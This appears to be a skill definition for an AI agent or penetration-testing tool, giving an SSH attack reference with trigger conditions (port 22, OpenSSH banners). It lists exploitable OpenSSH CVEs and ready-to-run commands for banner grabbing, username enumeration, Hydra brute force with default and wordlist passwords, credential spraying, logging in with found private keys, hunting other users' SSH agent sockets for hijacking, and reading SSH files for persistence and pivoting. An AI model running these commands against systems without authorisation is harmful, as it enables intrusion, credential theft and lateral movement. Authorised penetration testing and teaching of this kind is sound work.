svc-ssh

name	svc-ssh
description	SSH attack techniques — version CVEs, auth-method/user enumeration, key issues, targeted brute. Use when SSH is open. Triggers - port 22, OpenSSH banner, regreSSHion CVE-2024-6387, user-enum CVE-2018-15473, authorized_keys, weak/leaked key.

SSH Attack Reference

Version-Specific CVEs

• OpenSSH <7.7 (CVE-2018-15473): Username enumeration via timing
• OpenSSH 8.5-9.7 (CVE-2024-6387 / regreSSHion): Race condition → unauthenticated RCE (glibc-based Linux)
• OpenSSH <6.6: Various auth bypass and info disclosure

Enumeration

# Banner grab
nc -nv <target> 22
nmap -sV -p 22 <target>

# Username enumeration (CVE-2018-15473)
ssh-audit <target>
# Or use msf: auxiliary/scanner/ssh/ssh_enumusers

# Auth methods
ssh -o PreferredAuthentications=none -o PubkeyAuthentication=no <target> 2>&1
nmap --script ssh-auth-methods -p 22 <target>

Credential Attacks

# Hydra brute force
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target> -t 4 -f

# Common credentials
hydra -L users.txt -p admin ssh://<target> -t 4
hydra -l root -p toor ssh://<target>

# Spray found credentials
crackmapexec ssh <target> -u users.txt -p passwords.txt --no-bruteforce

Key-Based Attacks

# Check for weak/default keys
nmap --script ssh-hostkey --script-args ssh_hostkey=full -p 22 <target>

# If you find private keys
chmod 600 found_key
ssh -i found_key <user>@<target>

# SSH agent forwarding hijack (if you have user access)
# Look for SSH_AUTH_SOCK in other users' environments
find /tmp -name "agent.*" 2>/dev/null

Post-Auth

# Check authorized_keys for persistence
cat ~/.ssh/authorized_keys
# SSH config for pivot targets
cat ~/.ssh/config
cat ~/.ssh/known_hosts